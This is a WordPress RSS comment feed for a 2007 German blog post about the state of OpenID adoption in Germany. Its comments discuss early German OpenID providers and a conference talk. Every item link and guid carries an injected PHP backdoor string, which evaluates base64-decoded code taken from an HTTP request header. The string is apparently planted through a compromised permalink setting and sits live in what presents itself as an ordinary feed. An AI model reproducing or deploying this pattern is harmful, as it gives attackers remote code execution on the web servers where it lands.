<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.1.2" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments on: Aktueller Stand der OpenID Verbreitung in Deutschland</title>
	<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
	<description>Deutschland wird OpenID-Land</description>
	<pubDate>Sat, 04 Feb 2012 07:14:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.2</generator>

	<item>
		<title>By: LukasRos</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-4</link>
		<author>LukasRos</author>
		<pubDate>Sat, 17 Mar 2007 10:38:50 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-4</guid>
					<description>Vielleicht wird Dick Hardts Erscheinen beim &lt;a href="http://www.web2.0-kongress.de/" rel="nofollow"&gt;Web 2.0 Kongress&lt;/a&gt; das Thema OpenID auch bei deutschen Unternehmen bekannt machen.

Als deutsche Provider kenne ich bis jetzt nur regged.de und meinguter.name, die aber nicht unbedingt als professionell zu bezeichnen sind. Es gibt noch videntity.org, welches zumindest teilweise mal von mir ins Deutsche übersetzt wurde.

Für Deutschland könnte doch diese Seite hier die offizielle Anlaufstelle zum Thema OpenID werden. Langfristig gesehen wird es mit Sicherheit auch einen Zusammenschluss von Interessenten z.B. als Verein geben, bei der Vereinsgründung sind die Deutschen ja ziemlich groß ...</description>
		<content:encoded><![CDATA[<p>Vielleicht wird Dick Hardts Erscheinen beim <a href="http://www.web2.0-kongress.de/" rel="nofollow">Web 2.0 Kongress</a> das Thema OpenID auch bei deutschen Unternehmen bekannt machen.</p>
<p>Als deutsche Provider kenne ich bis jetzt nur regged.de und meinguter.name, die aber nicht unbedingt als professionell zu bezeichnen sind. Es gibt noch videntity.org, welches zumindest teilweise mal von mir ins Deutsche übersetzt wurde.</p>
<p>Für Deutschland könnte doch diese Seite hier die offizielle Anlaufstelle zum Thema OpenID werden. Langfristig gesehen wird es mit Sicherheit auch einen Zusammenschluss von Interessenten z.B. als Verein geben, bei der Vereinsgründung sind die Deutschen ja ziemlich groß &#8230;</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: thuhn</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-5</link>
		<author>thuhn</author>
		<pubDate>Sat, 17 Mar 2007 11:50:48 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-5</guid>
					<description>Any promotion is good promotion :-). Ernsthaft: Dick Hardts Präsentationsstil ist Legende und er kann sein Publikum mitreißen wie kaum ein Anderer. Ein technisches Thema emotional zu verkaufen ist sicherlich wichtig um diesem Gehör zu verschaffen. Dazu kommt das unbestrittene Fachwissen von Dick.
Ich würde also gerne zustimmen, wären da nicht die hohen Teilnahmegebühren, die das Publikum sicherlich auf keine allzu breite Masse anwachsen lassen. Immerhin wäre ja auch schon damit geholfen einige Meinungsmacher in Deutschland zu überzeugen.

Natürlich würde ich mich freuen, wenn diese Seite eine wichtige Anlaufstelle zum Thema OpenID in DE werden würde und Du bist gerne als Co-Autor willkommen, wenn Du aktiv dazu beitragen möchtest.

regged.de wird übrigens betrieben von Sebastian Egbers (Fachinformatik-Azubi aus Berlin) und meinguter.name von - na wen wunderts - meiner Firma Solution Media GmbH. Allerdings läuft dort bisher lediglich ein experimenteller Testserver, der nicht für den öffentlichen Betrieb gedacht ist - da fragt man sich doch wie Du diesen so schnell gefunden hast ;-)</description>
		<content:encoded><![CDATA[<p>Any promotion is good promotion :-). Ernsthaft: Dick Hardts Präsentationsstil ist Legende und er kann sein Publikum mitreißen wie kaum ein Anderer. Ein technisches Thema emotional zu verkaufen ist sicherlich wichtig um diesem Gehör zu verschaffen. Dazu kommt das unbestrittene Fachwissen von Dick.<br />
Ich würde also gerne zustimmen, wären da nicht die hohen Teilnahmegebühren, die das Publikum sicherlich auf keine allzu breite Masse anwachsen lassen. Immerhin wäre ja auch schon damit geholfen einige Meinungsmacher in Deutschland zu überzeugen.</p>
<p>Natürlich würde ich mich freuen, wenn diese Seite eine wichtige Anlaufstelle zum Thema OpenID in DE werden würde und Du bist gerne als Co-Autor willkommen, wenn Du aktiv dazu beitragen möchtest.</p>
<p>regged.de wird übrigens betrieben von Sebastian Egbers (Fachinformatik-Azubi aus Berlin) und meinguter.name von - na wen wunderts - meiner Firma Solution Media GmbH. Allerdings läuft dort bisher lediglich ein experimenteller Testserver, der nicht für den öffentlichen Betrieb gedacht ist - da fragt man sich doch wie Du diesen so schnell gefunden hast <img src='http://openidgermany.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: OpenID - die ersten Schritte : agenturblog.de</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-7</link>
		<author>OpenID - die ersten Schritte : agenturblog.de</author>
		<pubDate>Tue, 27 Mar 2007 08:57:41 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-7</guid>
					<description>[...] F&#252;r den deutschen Sprachraum sind mir noch keine professionellen Anbieter bekannt. Unter regged.de bietet Sebastian Egbers (Fachinformatik-Azubi aus Berlin) einen entsprechenden Dienst an, hier mag ich nicht einsch&#228;tzen, wie seri&#246;s das Angebot ist. Unter meinguter.name findet sich ein OpenID Angebot von , &#252;ber das der Anbieter aber selbst sagt (&#8230;) ist ein experimenteller Testserver, der nicht f&#252;r den &#246;ffentlichen Betrieb gedacht ist. Also auch keine Alternative. Das zeigt &#252;brigens auch der Aufruf der f&#252;r einen derartigen Service wichtigen About Seite. (Beide Infos gefunden im Open ID Germany Blog. [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] F&#252;r den deutschen Sprachraum sind mir noch keine professionellen Anbieter bekannt. Unter regged.de bietet Sebastian Egbers (Fachinformatik-Azubi aus Berlin) einen entsprechenden Dienst an, hier mag ich nicht einsch&#228;tzen, wie seri&#246;s das Angebot ist. Unter meinguter.name findet sich ein OpenID Angebot von , &#252;ber das der Anbieter aber selbst sagt (&#8230;) ist ein experimenteller Testserver, der nicht f&#252;r den &#246;ffentlichen Betrieb gedacht ist. Also auch keine Alternative. Das zeigt &#252;brigens auch der Aufruf der f&#252;r einen derartigen Service wichtigen About Seite. (Beide Infos gefunden im Open ID Germany Blog. [&#8230;]</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Open ID at toxic-mind.com Weblog</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-9</link>
		<author>Open ID at toxic-mind.com Weblog</author>
		<pubDate>Tue, 27 Mar 2007 18:40:21 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-9</guid>
					<description>[...] http://openidgermany.de/&#160;und http://www.agenturblog.de/   Social Bookmarks: Diese Icons verzweigen auf soziale Netzwerke bei denen Nutzer neue Inhalte finden und mit anderen teilen können. [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] <a href="http://openidgermany.de/&nbsp;und" rel="nofollow">http://openidgermany.de/&nbsp;und</a> <a href="http://www.agenturblog.de/" rel="nofollow">http://www.agenturblog.de/</a>   Social Bookmarks: Diese Icons verzweigen auf soziale Netzwerke bei denen Nutzer neue Inhalte finden und mit anderen teilen können. [&#8230;]</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: ridcully</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-10</link>
		<author>ridcully</author>
		<pubDate>Wed, 28 Mar 2007 17:22:47 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-10</guid>
					<description>Hallo,
der Service regged.de wird in der Tat von mir, Sebastian Egbers, betrieben. Jedoch habe ich meine Ausbildung beendet, und ich wohne schon seit über einem Jahr nicht mehr in Berlin.
Grüße,
Sebastian</description>
		<content:encoded><![CDATA[<p>Hallo,<br />
der Service regged.de wird in der Tat von mir, Sebastian Egbers, betrieben. Jedoch habe ich meine Ausbildung beendet, und ich wohne schon seit über einem Jahr nicht mehr in Berlin.<br />
Grüße,<br />
Sebastian</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: admin</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-11</link>
		<author>admin</author>
		<pubDate>Wed, 28 Mar 2007 21:03:48 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-11</guid>
					<description>Sorry, das waren lediglich die Informationen von der Homepage der Familie Egbers :)</description>
		<content:encoded><![CDATA[<p>Sorry, das waren lediglich die Informationen von der Homepage der Familie Egbers <img src='http://openidgermany.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: admin</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-12</link>
		<author>admin</author>
		<pubDate>Wed, 28 Mar 2007 22:22:39 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-12</guid>
					<description>Die Information zu MeinGuter.Name ist zwischenzeitlich überholt, der Dienst ist offiziell in Betrieb gegangen, siehe hier: &lt;a href="http://openidgermany.de/2007/03/28/professioneller-deutscher-openid-provider-gestartet/" rel="nofollow"&gt;Professioneller deutscher OpenID Provider gestartet&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Die Information zu MeinGuter.Name ist zwischenzeitlich überholt, der Dienst ist offiziell in Betrieb gegangen, siehe hier: <a href="http://openidgermany.de/2007/03/28/professioneller-deutscher-openid-provider-gestartet/" rel="nofollow">Professioneller deutscher OpenID Provider gestartet</a></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: ridcully</title>
		<link>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-13</link>
		<author>ridcully</author>
		<pubDate>Thu, 29 Mar 2007 05:35:47 +0000</pubDate>
		<guid>http://openidgermany.de/2007/03/16/aktueller-stand-der-openid-verbreitung-in-deutschland/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-13</guid>
					<description>Ah, ok, dann hab ich doch noch eine Seite übersehen... ;)</description>
		<content:encoded><![CDATA[<p>Ah, ok, dann hab ich doch noch eine Seite übersehen&#8230; <img src='http://openidgermany.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
				</item>
</channel>
</rss>

